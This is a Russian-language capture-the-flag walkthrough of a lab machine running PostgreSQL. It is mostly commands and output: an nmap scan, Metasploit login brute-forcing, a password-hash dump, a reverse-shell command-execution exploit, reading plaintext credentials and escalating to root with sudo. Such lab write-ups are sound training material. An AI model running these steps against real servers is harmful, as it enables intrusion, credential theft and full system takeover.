Введение
RDBMS (реляционная система управления базами данных), основанная на реляционной модели Эдгара Ф. Кодда, позволяет эффективно управлять данными, организуя их в связанные между собой таблицы. В отличие от плоских файлов, RDBMS используют SQL для выполнения операций CRUD (создание, чтение, обновление, удаление), что обеспечивает лучшую эффективность, масштабируемость и удобство извлечения данных.

Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| nmap -T4 -n -sC -sV -Pn -p- 10.10.155.131
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
| 256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_ 256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Poster CMS
5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after: 2030-07-27T00:54:25
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
Открытые порты:
22/tcp
80/tcp
5432/tcp
Какая RDBMS установлена на сервере?
Мы можем увидеть это из вывода nmap
На каком порту работает RDBMS?
Мы можем увидеть это из вывода nmap
Какой полный путь к модулю (начиная с auxiliary)?
Запустим metasploit
1
2
| msfconsole
msf6 > search postgresql
|

Ответ:
1
| auxiliary/scanner/postgres/postgres_login
|
Какие учетные данные вы нашли?
1
2
3
| use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_login) > exploit
|

Ответ:
Какой полный путь к модулю, который позволяет выполнять команды с корректными учетными данными (начиная с auxiliary)?

Ответ:
1
| auxiliary/admin/postgres/postgres_sql
|
На основе результатов задания #6, какая версия СУБД установлена на сервере?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.155.131
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD password
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
[*] Running module against 10.10.155.131
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
, 64-bit
[*] Auxiliary module execution completed
|
Ответ:
Каков полный путь к модулю, который позволяет выгружать хэши пользователей (начиная с auxiliary)?

Ответ:
1
| auxiliary/scanner/postgres/postgres_hashdump
|
Сколько пользовательских хэшей выгружает этот модуль?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD password
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
darkstart md58842b99375db43e9fdf238753623a27d
poster md578fb805c7412ae597b399844a54cce0a
postgres md532e12f215ba27cb750c9e093ce4b5127
sistemas md5f7dbc0d5a06653e74da6b1af9290ee2b
ti md57af9ac4c593e9e4f275576e13f935579
tryhackme md503aab1165001c8f8ccae31a8824efddc
|
Ответ:
Каков полный путь модуля (начиная с auxiliary), который позволяет аутентифицированному пользователю просматривать файлы по своему выбору на сервере?

Ответ:
1
| auxiliary/admin/postgres/postgres_readfile
|
Каков полный путь модуля (начиная с exploit), который позволяет выполнять произвольные команды при наличии корректных учётных данных пользователя?
Ответ:
1
| exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
Скомпрометируйте машину и найдите user.txt
Итак, используем указанный модуль: сначала запускаем netcat‑listener, а затем переходим к эксплуатации уязвимости
1
2
3
4
5
6
7
8
9
| msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.155.131
RHOSTS => 10.10.155.131
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password password
password => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 10.14.99.72
LHOST => 10.14.99.72
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit
|

Теперь мы можем прочитать файл credentials.txt, расположенный в каталоге /home/dark
1
2
| cat credentials.txt
dark:qwerty1234#!hackme
|
Теперь мы входим под пользователем dark через SSH
1
2
| ssh dark@10.10.155.131
qwerty1234#!hackme
|
После небольшого исследования мы можем найти учетные данные пользователя alison в файле config.php
1
| alison:p4ssw0rdS3cur3!#
|
Итак, мы можем войти под пользователем alison и получить файл user.txt.
Повышение привилегий и получение root.txt
Похоже, что у нас есть возможность выполнять команды через sudo, поэтому…
1
2
3
4
5
6
7
8
9
10
| alison@ubuntu:~$ sudo -l
[sudo] password for alison:
Matching Defaults entries for alison on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alison may run the following commands on ubuntu:
(ALL : ALL) ALL
alison@ubuntu:~$ sudo bash
root@ubuntu:~#
|
